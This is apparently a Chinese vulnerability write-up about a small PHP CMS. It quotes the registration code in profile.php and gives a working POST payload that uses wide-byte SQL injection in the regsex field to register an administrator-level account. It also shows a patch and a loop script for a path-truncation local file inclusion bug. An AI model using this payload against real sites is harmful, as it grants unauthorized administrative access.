问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。
代码如下:
以下是引用片段:
if($action=='reg' && $reguser) {
if($Global['hashto']['reg'] && (!$hashnum || $hashnum<>$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='<li>验证码错误</li>';
if (!preg_match("/^([\x81-\xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='<li>用户名请用3-12字节的中文字母或数字</li>';
if(!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='<li>Email填写错误</li>';
$sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'";
$result=$db->query($sql);
if($rows=$db->fetch_row($result)) $C_errormsg.='<li>用户名已存在</li>';
$sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'";
$result=$db->query($sql);
if($rows=$db->fetch_row($result)) $C_errormsg.='<li>此用户名已被禁止</li>';
$db->free_result($result);
if(!$C_errormsg) {
$sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2";
die("\r\n".$sql);
if(!($result=$db->query($sql))) back('注册数据插入失败');
自行抓包直接POST提交到:
http://www.2cto.com /phptest/Ckong2/CKong2.6/profile.php
reguser=seraph3®pwd=seraph®pwd2=seraph®email=seraphsdflk2@dfc.om&publicmail=1®sex=1%d5',user_publicemail%3d1,group_id%3D7#®qq=343434®homepage=1212121®area=121212®comm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB
修补方法:
$reghomepage=str_replace("'","‘",$reghomepage);
$regarea=str_replace("'","‘",$regarea);
$regcomm=str_replace("'","‘",$regcomm);
$regsex=str_replace("'","‘",$regsex);
还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。
----------------------------- JJ的分割线 -----------------------------
这套程序还有一个本地包含漏洞。
在本地全登录后,admin.php 里面代码:
以下是引用片段:
<?php
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<1000;$i++)
{
$str=$str.".";
$pfile="create.txt";
if(include_once ($pfile.$str.'.php')) echo $i;
}
?>
关于这个问题,希望大家一起来讨论讨论。
这套程序只是一个小程序,可能用的人不多,全当技术练习。